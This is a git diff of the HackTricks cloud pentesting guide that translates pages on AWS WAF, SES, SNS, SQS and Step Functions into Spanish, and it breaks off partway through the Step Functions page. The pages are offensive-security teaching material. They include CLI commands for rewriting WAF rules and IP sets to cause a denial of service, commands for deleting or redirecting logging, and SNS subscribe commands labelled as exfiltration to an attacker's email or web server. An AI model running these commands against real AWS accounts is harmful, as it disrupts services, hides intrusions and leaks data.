Acceso no autorizado, filtraciones de datos y posibles ataques DoS. #### **`wafv2:CreateWebACL`, `wafv2:UpdateWebACL`, `wafv2:DeleteWebACL`** -With these permissions, an attacker would be able to: +Con estos permisos, un atacante podría: -- Create a new Web ACL, introducing rules that either allow malicious traffic through or block legitimate traffic, effectively rendering the WAF useless or causing a denial of service. -- Update existing Web ACLs, being able to modify rules to permit attacks such as SQL injection or cross-site scripting, which were previously blocked, or disrupt normal traffic flow by blocking valid requests. -- Delete a Web ACL, leaving the affected resources entirely unprotected, exposing it to a broad range of web attacks. +- Crear un nuevo Web ACL, introduciendo reglas que permitan el tráfico malicioso o bloqueen el tráfico legítimo, haciendo que el WAF sea inútil o causando una denegación de servicio. +- Actualizar Web ACLs existentes, pudiendo modificar reglas para permitir ataques como inyección SQL o scripting entre sitios, que anteriormente estaban bloqueados, o interrumpir el flujo normal de tráfico bloqueando solicitudes válidas. +- Eliminar un Web ACL, dejando los recursos afectados completamente desprotegidos, exponiéndolos a una amplia gama de ataques web. > [!NOTE] -> You can only delete the specified **WebACL** if **ManagedByFirewallManager** is false. - +> Solo puedes eliminar el **WebACL** especificado si **ManagedByFirewallManager** es falso. ```bash # Create Web ACL aws wafv2 create-web-acl --name --default-action --visibility-config \ @@ -268,119 +259,109 @@ aws wafv2 update-web-acl --name --id --default-action -- # Delete Web ACL aws wafv2 delete-web-acl --name --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` +Los siguientes ejemplos muestran cómo actualizar un Web ACL para bloquear el tráfico legítimo de un conjunto de IP específico. Si la IP de origen no coincide con ninguna de esas IP, la acción predeterminada también sería bloquearlo, causando un DoS. -The following examples shows how to update a Web ACL to block the legitimate traffic from a specific IP set. If the origin IP does not match any of those IPs, the default action would also be blocking it, causing a DoS. - -**Original Web ACL**: - +**Web ACL original**: ```json { - "WebACL": { - "Name": "AllowLegitimateIPsWebACL", - "Id": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", - "ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/webacl/AllowLegitimateIPsWebACL/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", - "DefaultAction": { - "Allow": {} - }, - "Description": "", - "Rules": [ - { - "Name": "AllowLegitimateIPsRule", - "Priority": 0, - "Statement": { - "IPSetReferenceStatement": { - "ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" - } - }, - "Action": { - "Allow": {} - }, - "VisibilityConfig": { - "SampledRequestsEnabled": false, - "CloudWatchMetricsEnabled": false, - "MetricName": "AllowLegitimateIPsRule" - } - } - ], - "VisibilityConfig": { - "SampledRequestsEnabled": false, - "CloudWatchMetricsEnabled": false, - "MetricName": "AllowLegitimateIPsWebACL" - }, - "Capacity": 1, - "ManagedByFirewallManager": false, - "LabelNamespace": "awswaf:123456789012:webacl:AllowLegitimateIPsWebACL:" - }, - "LockToken": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +"WebACL": { +"Name": "AllowLegitimateIPsWebACL", +"Id": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", +"ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/webacl/AllowLegitimateIPsWebACL/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", +"DefaultAction": { +"Allow": {} +}, +"Description": "", +"Rules": [ +{ +"Name": "AllowLegitimateIPsRule", +"Priority": 0, +"Statement": { +"IPSetReferenceStatement": { +"ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +} +}, +"Action": { +"Allow": {} +}, +"VisibilityConfig": { +"SampledRequestsEnabled": false, +"CloudWatchMetricsEnabled": false, +"MetricName": "AllowLegitimateIPsRule" +} +} +], +"VisibilityConfig": { +"SampledRequestsEnabled": false, +"CloudWatchMetricsEnabled": false, +"MetricName": "AllowLegitimateIPsWebACL" +}, +"Capacity": 1, +"ManagedByFirewallManager": false, +"LabelNamespace": "awswaf:123456789012:webacl:AllowLegitimateIPsWebACL:" +}, +"LockToken": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" } ``` - -Command to update the Web ACL: - +Comando para actualizar el Web ACL: ```json aws wafv2 update-web-acl --name AllowLegitimateIPsWebACL --scope REGIONAL --id 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --lock-token 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --default-action Block={} --visibility-config SampledRequestsEnabled=false,CloudWatchMetricsEnabled=false,MetricName=AllowLegitimateIPsWebACL --rules file://rule.json --region us-east-1 ``` - -The **rule.json** file would look like: - +El archivo **rule.json** se vería así: ```json [ - { - "Name": "BlockLegitimateIPsRule", - "Priority": 0, - "Statement": { - "IPSetReferenceStatement": { - "ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" - } - }, - "Action": { - "Block": {} - }, - "VisibilityConfig": { - "SampledRequestsEnabled": false, - "CloudWatchMetricsEnabled": false, - "MetricName": "BlockLegitimateIPRule" - } - } +{ +"Name": "BlockLegitimateIPsRule", +"Priority": 0, +"Statement": { +"IPSetReferenceStatement": { +"ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +} +}, +"Action": { +"Block": {} +}, +"VisibilityConfig": { +"SampledRequestsEnabled": false, +"CloudWatchMetricsEnabled": false, +"MetricName": "BlockLegitimateIPRule" +} +} ] ``` - -**Potential Impact**: Unauthorized access, data breaches, and potential DoS attacks. +**Impacto Potencial**: Acceso no autorizado, filtraciones de datos y posibles ataques DoS. #### **`wafv2:AssociateWebACL`, `wafv2:DisassociateWebACL`** -The **`wafv2:AssociateWebACL`** permission would allow an attacker to associate web ACLs (Access Control Lists) with resources, being able to bypass security controls, allowing unauthorized traffic to reach the application, potentially leading to exploits like SQL injection or cross-site scripting (XSS). Conversely, with the **`wafv2:DisassociateWebACL`** permission, the attacker could temporarily disable security protections, exposing the resources to vulnerabilities without detection. +El permiso **`wafv2:AssociateWebACL`** permitiría a un atacante asociar ACLs web (Listas de Control de Acceso) con recursos, pudiendo eludir controles de seguridad, permitiendo que tráfico no autorizado llegue a la aplicación, lo que podría llevar a explotaciones como inyección SQL o scripting entre sitios (XSS). Por el contrario, con el permiso **`wafv2:DisassociateWebACL`**, el atacante podría desactivar temporalmente las protecciones de seguridad, exponiendo los recursos a vulnerabilidades sin detección. -The additional permissions would be needed depending on the protected resource type: - -- **Associate** - - apigateway:SetWebACL - - apprunner:AssociateWebAcl - - appsync:SetWebACL - - cognito-idp:AssociateWebACL - - ec2:AssociateVerifiedAccessInstanceWebAcl - - elasticloadbalancing:SetWebAcl -- **Disassociate** - - apigateway:SetWebACL - - apprunner:DisassociateWebAcl - - appsync:SetWebACL - - cognito-idp:DisassociateWebACL - - ec2:DisassociateVerifiedAccessInstanceWebAcl - - elasticloadbalancing:SetWebAcl +Se necesitarían permisos adicionales dependiendo del tipo de recurso protegido: +- **Asociar** +- apigateway:SetWebACL +- apprunner:AssociateWebAcl +- appsync:SetWebACL +- cognito-idp:AssociateWebACL +- ec2:AssociateVerifiedAccessInstanceWebAcl +- elasticloadbalancing:SetWebAcl +- **Desasociar** +- apigateway:SetWebACL +- apprunner:DisassociateWebAcl +- appsync:SetWebACL +- cognito-idp:DisassociateWebACL +- ec2:DisassociateVerifiedAccessInstanceWebAcl +- elasticloadbalancing:SetWebAcl ```bash # Associate aws wafv2 associate-web-acl --web-acl-arn --resource-arn # Disassociate aws wafv2 disassociate-web-acl --resource-arn ``` - -**Potential Impact**: Compromised resources security, increased risk of exploitation, and potential service disruptions within AWS environments protected by AWS WAF. +**Impacto Potencial**: Compromiso de la seguridad de los recursos, aumento del riesgo de explotación y posibles interrupciones del servicio dentro de los entornos de AWS protegidos por AWS WAF. #### **`wafv2:CreateIPSet` , `wafv2:UpdateIPSet`, `wafv2:DeleteIPSet`** -An attacker would be able to create, update and delete the IP sets managed by AWS WAF. This could be dangerous since could create new IP sets to allow malicious traffic, modify IP sets in order to block legitimate traffic, update existing IP sets to include malicious IP addresses, remove trusted IP addresses or delete critical IP sets that are meant to protect critical resources. - +Un atacante podría crear, actualizar y eliminar los conjuntos de IP gestionados por AWS WAF. Esto podría ser peligroso ya que podría crear nuevos conjuntos de IP para permitir tráfico malicioso, modificar conjuntos de IP para bloquear tráfico legítimo, actualizar conjuntos de IP existentes para incluir direcciones IP maliciosas, eliminar direcciones IP de confianza o eliminar conjuntos de IP críticos que están destinados a proteger recursos críticos. ```bash # Create IP set aws wafv2 create-ip-set --name --ip-address-version --addresses --scope | CLOUDFRONT --region=us-east-1> @@ -389,23 +370,19 @@ aws wafv2 update-ip-set --name --id --addresses --lock-t # Delete IP set aws wafv2 delete-ip-set --name --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` - -The following example shows how to **overwrite the existing IP set by the desired IP set**: - +El siguiente ejemplo muestra cómo **sobrescribir el conjunto de IP existente por el conjunto de IP deseado**: ```bash aws wafv2 update-ip-set --name LegitimateIPv4Set --id 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --addresses 99.99.99.99/32 --lock-token 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --scope CLOUDFRONT --region us-east-1 ``` +**Impacto Potencial**: Acceso no autorizado y bloqueo de tráfico legítimo. -**Potential Impact**: Unauthorized access and block of legitimate traffic. +#### **`wafv2:CreateRegexPatternSet`**, **`wafv2:UpdateRegexPatternSet`**, **`wafv2:DeleteRegexPatternSet`** -#### **`wafv2:CreateRegexPatternSet`** , **`wafv2:UpdateRegexPatternSet`**, **`wafv2:DeleteRegexPatternSet`** - -An attacker with these permissions would be able to manipulate the regular expression pattern sets used by AWS WAF to control and filter incoming traffic based on specific patterns. - -- Creating new regex patterns would help an attacker to allow harmful content -- Updating the existing patterns, an attacker would to bypass security rules -- Deleting patterns that are designed to block malicious activities could lead an attacker to the send malicious payloads and bypass the security measures. +Un atacante con estos permisos podría manipular los conjuntos de patrones de expresiones regulares utilizados por AWS WAF para controlar y filtrar el tráfico entrante basado en patrones específicos. +- Crear nuevos patrones regex ayudaría a un atacante a permitir contenido dañino +- Al actualizar los patrones existentes, un atacante podría eludir las reglas de seguridad +- Eliminar patrones diseñados para bloquear actividades maliciosas podría permitir a un atacante enviar cargas útiles maliciosas y eludir las medidas de seguridad. ```bash # Create regex pattern set aws wafv2 create-regex-pattern-set --name --regular-expression-list --scope | CLOUDFRONT --region=us-east-1> [--description ] @@ -414,62 +391,51 @@ aws wafv2 update-regex-pattern-set --name --id --regular-express # Delete regex pattern set aws wafv2 delete-regex-pattern-set --name --scope | CLOUDFRONT --region=us-east-1> --id --lock-token ``` - -**Potential Impact**: Bypass security controls, allowing malicious content and potentially exposing sensitive data or disrupting services and resources protected by AWS WAF. +**Impacto Potencial**: Eludir controles de seguridad, permitiendo contenido malicioso y potencialmente exponiendo datos sensibles o interrumpiendo servicios y recursos protegidos por AWS WAF. #### **(`wavf2:PutLoggingConfiguration` &** `iam:CreateServiceLinkedRole`), **`wafv2:DeleteLoggingConfiguration`** -An attacker with the **`wafv2:DeleteLoggingConfiguration`** would be able to remove the logging configuration from the specified Web ACL. Subsequently, with the **`wavf2:PutLoggingConfiguration`** and **`iam:CreateServiceLinkedRole`** permissions, an attacker could create or replace logging configurations (after having deleted it) to either prevent logging altogether or redirect logs to unauthorized destinations, such as Amazon S3 buckets, Amazon CloudWatch Logs log group or an Amazon Kinesis Data Firehose under control. +Un atacante con el **`wafv2:DeleteLoggingConfiguration`** podría eliminar la configuración de registro del Web ACL especificado. Posteriormente, con los permisos **`wavf2:PutLoggingConfiguration`** y **`iam:CreateServiceLinkedRole`**, un atacante podría crear o reemplazar configuraciones de registro (después de haberla eliminado) para evitar el registro por completo o redirigir los registros a destinos no autorizados, como buckets de Amazon S3, grupos de registros de Amazon CloudWatch Logs o un Amazon Kinesis Data Firehose bajo control. -During the creation process, the service automatically sets up the necessary permissions to allow logs to be written to the specified logging destination: +Durante el proceso de creación, el servicio configura automáticamente los permisos necesarios para permitir que los registros se escriban en el destino de registro especificado: -- **Amazon CloudWatch Logs:** AWS WAF creates a resource policy on the designated CloudWatch Logs log group. This policy ensures that AWS WAF has the permissions required to write logs to the log group. -- **Amazon S3 Bucket:** AWS WAF creates a bucket policy on the designated S3 bucket. This policy grants AWS WAF the permissions necessary to upload logs to the specified bucket. -- **Amazon Kinesis Data Firehose:** AWS WAF creates a service-linked role specifically for interacting with Kinesis Data Firehose. This role allows AWS WAF to deliver logs to the configured Firehose stream. +- **Amazon CloudWatch Logs:** AWS WAF crea una política de recursos en el grupo de registros de CloudWatch Logs designado. Esta política asegura que AWS WAF tenga los permisos requeridos para escribir registros en el grupo de registros. +- **Amazon S3 Bucket:** AWS WAF crea una política de bucket en el bucket de S3 designado. Esta política otorga a AWS WAF los permisos necesarios para subir registros al bucket especificado. +- **Amazon Kinesis Data Firehose:** AWS WAF crea un rol vinculado al servicio específicamente para interactuar con Kinesis Data Firehose. Este rol permite a AWS WAF entregar registros al stream de Firehose configurado. > [!NOTE] -> It is possible to define only one logging destination per web ACL. - +> Es posible definir solo un destino de registro por web ACL. ```bash # Put logging configuration aws wafv2 put-logging-configuration --logging-configuration # Delete logging configuration aws wafv2 delete-logging-configuration --resource-arn [--log-scope ] [--log-type ] ``` - -**Potential Impact:** Obscure visibility into security events, difficult the incident response process, and facilitate covert malicious activities within AWS WAF-protected environments. +**Impacto Potencial:** Visibilidad oscurecida en eventos de seguridad, dificultando el proceso de respuesta a incidentes y facilitando actividades maliciosas encubiertas dentro de entornos protegidos por AWS WAF. #### **`wafv2:DeleteAPIKey`** -An attacker with this permissions would be able to delete existing API keys, rendering the CAPTCHA ineffective and disrupting the functionality that relies on it, such as form submissions and access controls. Depending on the implementation of this CAPTCHA, this could lead either to a CAPTCHA bypass or to a DoS if the error management is not properly set in the resource. - +Un atacante con estos permisos podría eliminar claves API existentes, haciendo que el CAPTCHA sea ineficaz y interrumpiendo la funcionalidad que depende de él, como envíos de formularios y controles de acceso. Dependiendo de la implementación de este CAPTCHA, esto podría llevar a un bypass de CAPTCHA o a un DoS si la gestión de errores no está configurada correctamente en el recurso. ```bash # Delete API key aws wafv2 delete-api-key --api-key --scope | CLOUDFRONT --region=us-east-1> ``` - -**Potential Impact**: Disable CAPTCHA protections or disrupt application functionality, leading to security breaches and potential data theft. +**Impacto Potencial**: Deshabilitar las protecciones CAPTCHA o interrumpir la funcionalidad de la aplicación, lo que lleva a brechas de seguridad y posible robo de datos. #### **`wafv2:TagResource`, `wafv2:UntagResource`** -An attacker would be able to add, modify, or remove tags from AWS WAFv2 resources, such as Web ACLs, rule groups, IP sets, regex pattern sets, and logging configurations. - +Un atacante podría agregar, modificar o eliminar etiquetas de los recursos de AWS WAFv2, como ACLs web, grupos de reglas, conjuntos de IP, conjuntos de patrones regex y configuraciones de registro. ```bash # Tag aws wafv2 tag-resource --resource-arn --tags # Untag aws wafv2 untag-resource --resource-arn --tag-keys ``` +**Impacto Potencial**: Manipulación de recursos, filtración de información, manipulación de costos y interrupción operativa. -**Potential Impact**: Resource tampering, information leakage, cost manipulation and operational disruption. - -## References +## Referencias - [https://www.citrusconsulting.com/aws-web-application-firewall-waf/#:\~:text=Conditions%20allow%20you%20to%20specify,user%20via%20a%20web%20application](https://www.citrusconsulting.com/aws-web-application-firewall-waf/) - [https://docs.aws.amazon.com/service-authorization/latest/reference/list_awswafv2.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_awswafv2.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md index bc6af90f1..1194c18c8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md @@ -2,45 +2,40 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -Amazon Simple Email Service (Amazon SES) is designed for **sending and receiving emails**. It enables users to send transactional, marketing, or notification emails efficiently and securely at scale. It **integrates well with other AWS services**, providing a robust solution for managing email communications for businesses of all sizes. +Amazon Simple Email Service (Amazon SES) está diseñado para **enviar y recibir correos electrónicos**. Permite a los usuarios enviar correos electrónicos transaccionales, de marketing o de notificación de manera eficiente y segura a gran escala. **Se integra bien con otros servicios de AWS**, proporcionando una solución robusta para gestionar las comunicaciones por correo electrónico para empresas de todos los tamaños. -You need to register **identities**, which can be domains or emails addresses that will be able to interact with SES (e.g. send and receive emails). +Necesitas registrar **identidades**, que pueden ser dominios o direcciones de correo electrónico que podrán interactuar con SES (por ejemplo, enviar y recibir correos electrónicos). -### SMTP User - -It's possible to connect to a **SMTP server of AWS to perform actions** instead of using the AWS API (or in addition). For this you need to create a user with a policy such as: +### Usuario SMTP +Es posible conectarse a un **servidor SMTP de AWS para realizar acciones** en lugar de usar la API de AWS (o además de ella). Para esto, necesitas crear un usuario con una política como: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": "ses:SendRawEmail", - "Resource": "*" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "ses:SendRawEmail", +"Resource": "*" +} +] } ``` - -Then, gather the **API key and secret** of the user and run: - +Luego, recopila la **clave API y el secreto** del usuario y ejecuta: ```bash git clone https://github.com/lisenet/ses-smtp-converter.git cd ./ses-smtp-converter chmod u+x ./ses-smtp-conv.sh ./ses-smtp-conv.sh ``` +También es posible hacer esto desde la consola web de AWS. -It's also possible to do this from the AWS console web. - -### Enumeration +### Enumeración > [!WARNING] -> Note that SES has 2 APIs: **`ses`** and **`sesv2`**. Some actions are in both APIs and others are just in one of the two. - +> Tenga en cuenta que SES tiene 2 API: **`ses`** y **`sesv2`**. Algunas acciones están en ambas API y otras están solo en una de las dos. ```bash # Get info about the SES account aws sesv2 get-account @@ -117,15 +112,10 @@ aws ses get-send-quota ## Get statistics aws ses get-send-statistics ``` - -### Post Exploitation +### Post Explotación {{#ref}} ../aws-post-exploitation/aws-ses-post-exploitation.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md index cca4353cb..2b1cacc52 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md @@ -4,18 +4,17 @@ ## SNS -Amazon Simple Notification Service (Amazon SNS) is described as a **fully managed messaging service**. It supports both **application-to-application** (A2A) and **application-to-person** (A2P) communication types. +Amazon Simple Notification Service (Amazon SNS) se describe como un **servicio de mensajería completamente gestionado**. Soporta tanto **comunicaciones de aplicación a aplicación** (A2A) como **comunicaciones de aplicación a persona** (A2P). -Key features for A2A communication include **publish/subscribe (pub/sub) mechanisms**. These mechanisms introduce **topics**, crucial for enabling high-throughput, **push-based, many-to-many messaging**. This feature is highly advantageous in scenarios that involve distributed systems, microservices, and event-driven serverless architectures. By leveraging these topics, publisher systems can efficiently distribute messages to a **wide range of subscriber systems**, facilitating a fanout messaging pattern. +Las características clave para la comunicación A2A incluyen **mecanismos de publicación/suscripción (pub/sub)**. Estos mecanismos introducen **temas**, cruciales para habilitar mensajería **basada en push, de alto rendimiento y de muchos a muchos**. Esta característica es altamente ventajosa en escenarios que involucran sistemas distribuidos, microservicios y arquitecturas sin servidor impulsadas por eventos. Al aprovechar estos temas, los sistemas publicadores pueden distribuir mensajes de manera eficiente a una **amplia gama de sistemas suscriptores**, facilitando un patrón de mensajería de fanout. -### **Difference with SQS** +### **Diferencia con SQS** -**SQS** is a **queue-based** service that allows point-to-point communication, ensuring that messages are processed by a **single consumer**. It offers **at-least-once delivery**, supports standard and FIFO queues, and allows message retention for retries and delayed processing.\ -On the other hand, **SNS** is a **publish/subscribe-based service**, enabling **one-to-many** communication by broadcasting messages to **multiple subscribers** simultaneously. It supports **various subscription endpoints like email, SMS, Lambda functions, and HTTP/HTTPS**, and provides filtering mechanisms for targeted message delivery.\ -While both services enable decoupling between components in distributed systems, SQS focuses on queued communication, and SNS emphasizes event-driven, fan-out communication patterns. - -### **Enumeration** +**SQS** es un servicio **basado en colas** que permite la comunicación punto a punto, asegurando que los mensajes sean procesados por un **único consumidor**. Ofrece **entrega al menos una vez**, soporta colas estándar y FIFO, y permite la retención de mensajes para reintentos y procesamiento retrasado.\ +Por otro lado, **SNS** es un servicio **basado en publicación/suscripción**, que permite la comunicación **de uno a muchos** al transmitir mensajes a **múltiples suscriptores** simultáneamente. Soporta **diversos puntos de suscripción como correo electrónico, SMS, funciones Lambda y HTTP/HTTPS**, y proporciona mecanismos de filtrado para la entrega de mensajes dirigida.\ +Mientras que ambos servicios permiten desacoplar componentes en sistemas distribuidos, SQS se centra en la comunicación en cola, y SNS enfatiza patrones de comunicación impulsados por eventos y de fan-out. +### **Enumeración** ```bash # Get topics & subscriptions aws sns list-topics @@ -24,60 +23,55 @@ aws sns list-subscriptions-by-topic --topic-arn # Check privescs & post-exploitation aws sns publish --region \ - --topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \ - --message file://message.txt +--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \ +--message file://message.txt # Exfiltrate through email ## You will receive an email to confirm the subscription aws sns subscribe --region \ - --topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \ - --protocol email \ - --notification-endpoint my-email@example.com +--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \ +--protocol email \ +--notification-endpoint my-email@example.com # Exfiltrate through web server ## You will receive an initial request with a URL in the field "SubscribeURL" ## that you need to access to confirm the subscription aws sns subscribe --region \ - --protocol http \ - --notification-endpoint http:/// \ - --topic-arn +--protocol http \ +--notification-endpoint http:/// \ +--topic-arn ``` - > [!CAUTION] -> Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used (HTTP or HTTPS cannot be used). +> Tenga en cuenta que si el **tema es de tipo FIFO**, solo se pueden usar suscriptores que utilicen el protocolo **SQS** (no se puede usar HTTP o HTTPS). > -> Also, even if the `--topic-arn` contains the region make sure you specify the correct region in **`--region`** or you will get an error that looks like indicate that you don't have access but the problem is the region. +> Además, incluso si el `--topic-arn` contiene la región, asegúrese de especificar la región correcta en **`--region`** o recibirá un error que indica que no tiene acceso, pero el problema es la región. -#### Unauthenticated Access +#### Acceso No Autenticado {{#ref}} ../aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md {{#endref}} -#### Privilege Escalation +#### Escalación de Privilegios {{#ref}} ../aws-privilege-escalation/aws-sns-privesc.md {{#endref}} -#### Post Exploitation +#### Post Explotación {{#ref}} ../aws-post-exploitation/aws-sns-post-exploitation.md {{#endref}} -#### Persistence +#### Persistencia {{#ref}} ../aws-persistence/aws-sns-persistence.md {{#endref}} -## References +## Referencias - [https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/](https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md index 1da888587..f6e00f765 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md @@ -4,10 +4,9 @@ ## SQS -Amazon Simple Queue Service (SQS) is presented as a **fully managed message queuing service**. Its main function is to assist in the scaling and decoupling of microservices, distributed systems, and serverless applications. The service is designed to remove the need for managing and operating message-oriented middleware, which can often be complex and resource-intensive. This elimination of complexity allows developers to direct their efforts towards more innovative and differentiating aspects of their work. +Amazon Simple Queue Service (SQS) se presenta como un **servicio de colas de mensajes completamente gestionado**. Su función principal es ayudar en la escalabilidad y desacoplamiento de microservicios, sistemas distribuidos y aplicaciones sin servidor. El servicio está diseñado para eliminar la necesidad de gestionar y operar middleware orientado a mensajes, que a menudo puede ser complejo y consumir muchos recursos. Esta eliminación de la complejidad permite a los desarrolladores dirigir sus esfuerzos hacia aspectos más innovadores y diferenciadores de su trabajo. ### Enumeration - ```bash # Get queues info aws sqs list-queues @@ -18,40 +17,35 @@ aws sqs receive-message --queue-url aws sqs send-message --queue-url --message-body ``` - > [!CAUTION] -> Also, even if the `--queue-url` contains the region make sure you specify the correct region in **`--region`** or you will get an error that looks like indicate that you don't have access but the problem is the region. +> Además, incluso si el `--queue-url` contiene la región, asegúrate de especificar la región correcta en **`--region`** o recibirás un error que indica que no tienes acceso, pero el problema es la región. -#### Unauthenticated Access +#### Acceso No Autenticado {{#ref}} ../aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md {{#endref}} -#### Privilege Escalation +#### Escalación de Privilegios {{#ref}} ../aws-privilege-escalation/aws-sqs-privesc.md {{#endref}} -#### Post Exploitation +#### Post Explotación {{#ref}} ../aws-post-exploitation/aws-sqs-post-exploitation.md {{#endref}} -#### Persistence +#### Persistencia {{#ref}} ../aws-persistence/aws-sqs-persistence.md {{#endref}} -## References +## Referencias - https://docs.aws.amazon.com/cdk/api/v2/python/aws\_cdk.aws\_sqs/README.html {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md index 873629bba..abde484d8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md @@ -4,266 +4,253 @@ ## Step Functions -AWS Step Functions is a workflow service that enables you to coordinate and orchestrate multiple AWS services into serverless workflows. By using AWS Step Functions, you can design and run workflows that connect various AWS services such as AWS Lambda, Amazon S3, Amazon DynamoDB, and many more, in a sequence of steps. This orchestration service provides a visual workflow interface and offers **state machine** capabilities, allowing you to define each step of the workflow in a declarative manner using JSON-based **Amazon States Language** (ASL). +AWS Step Functions es un servicio de flujo de trabajo que te permite coordinar y orquestar múltiples servicios de AWS en flujos de trabajo sin servidor. Al usar AWS Step Functions, puedes diseñar y ejecutar flujos de trabajo que conectan varios servicios de AWS como AWS Lambda, Amazon S3, Amazon DynamoDB y muchos más, en una secuencia de pasos. Este servicio de orquestación proporciona una interfaz visual de flujo de trabajo y ofrece capacidades de **máquina de estados**, permitiéndote definir cada paso del flujo de trabajo de manera declarativa utilizando **Amazon States Language** (ASL) basado en JSON. ## Key concepts ### Standard vs. Express Workflows -AWS Step Functions offers two types of **state machine workflows**: Standard and Express. +AWS Step Functions ofrece dos tipos de **flujos de trabajo de máquina de estados**: Estándar y Expreso. -- **Standard Workflow**: This default workflow type is designed for long-running, durable, and auditable processes. It supports **exactly-once execution**, ensuring tasks run only once unless retries are specified. It is ideal for workflows needing detailed execution history and can run for up to one year. -- **Express Workflow**: This type is ideal for high-volume, short-duration tasks, running up to five minutes. They support **at-least-once execution**, suitable for idempotent tasks like data processing. These workflows are optimized for cost and performance, charging based on executions, duration, and memory usage. +- **Standard Workflow**: Este tipo de flujo de trabajo predeterminado está diseñado para procesos duraderos, auditables y de larga duración. Soporta **ejecución exactamente una vez**, asegurando que las tareas se ejecuten solo una vez a menos que se especifiquen reintentos. Es ideal para flujos de trabajo que necesitan un historial de ejecución detallado y puede ejecutarse durante hasta un año. +- **Express Workflow**: Este tipo es ideal para tareas de alto volumen y corta duración, que se ejecutan hasta cinco minutos. Soportan **ejecución al menos una vez**, adecuado para tareas idempotentes como el procesamiento de datos. Estos flujos de trabajo están optimizados para costo y rendimiento, cobrando según las ejecuciones, duración y uso de memoria. ### States -States are the essential units of state machines. They define the individual steps within a workflow, being able to perform a variety of functions depending on its type: +Los estados son las unidades esenciales de las máquinas de estados. Definen los pasos individuales dentro de un flujo de trabajo, pudiendo realizar una variedad de funciones dependiendo de su tipo: -- **Task:** Executes a job, often using an AWS service like Lambda. -- **Choice:** Makes decisions based on input. -- **Fail/Succeed:** Ends the execution with a failure or success. -- **Pass:** Passes input to output or injects data. -- **Wait:** Delays execution for a set time. -- **Parallel:** Initiates parallel branches. -- **Map:** Dynamically iterates steps over items. +- **Task:** Ejecuta un trabajo, a menudo utilizando un servicio de AWS como Lambda. +- **Choice:** Toma decisiones basadas en la entrada. +- **Fail/Succeed:** Termina la ejecución con un fallo o éxito. +- **Pass:** Pasa la entrada a la salida o inyecta datos. +- **Wait:** Retrasa la ejecución por un tiempo establecido. +- **Parallel:** Inicia ramas paralelas. +- **Map:** Itera dinámicamente pasos sobre elementos. ### Task -A **Task** state represents a single unit of work executed by a state machine. Tasks can invoke various resources, including activities, Lambda functions, AWS services, or third-party APIs. +Un estado de **Task** representa una unidad de trabajo única ejecutada por una máquina de estados. Las tareas pueden invocar varios recursos, incluyendo actividades, funciones Lambda, servicios de AWS o APIs de terceros. -- **Activities**: Custom workers you manage, suitable for long-running processes. - - Resource: **`arn:aws:states:region:account:activity:name`**. -- **Lambda Functions**: Executes AWS Lambda functions. - - Resource: **`arn:aws:lambda:region:account:function:function-name`**. -- **AWS Services**: Integrates directly with other AWS services, like DynamoDB or S3. - - Resource: 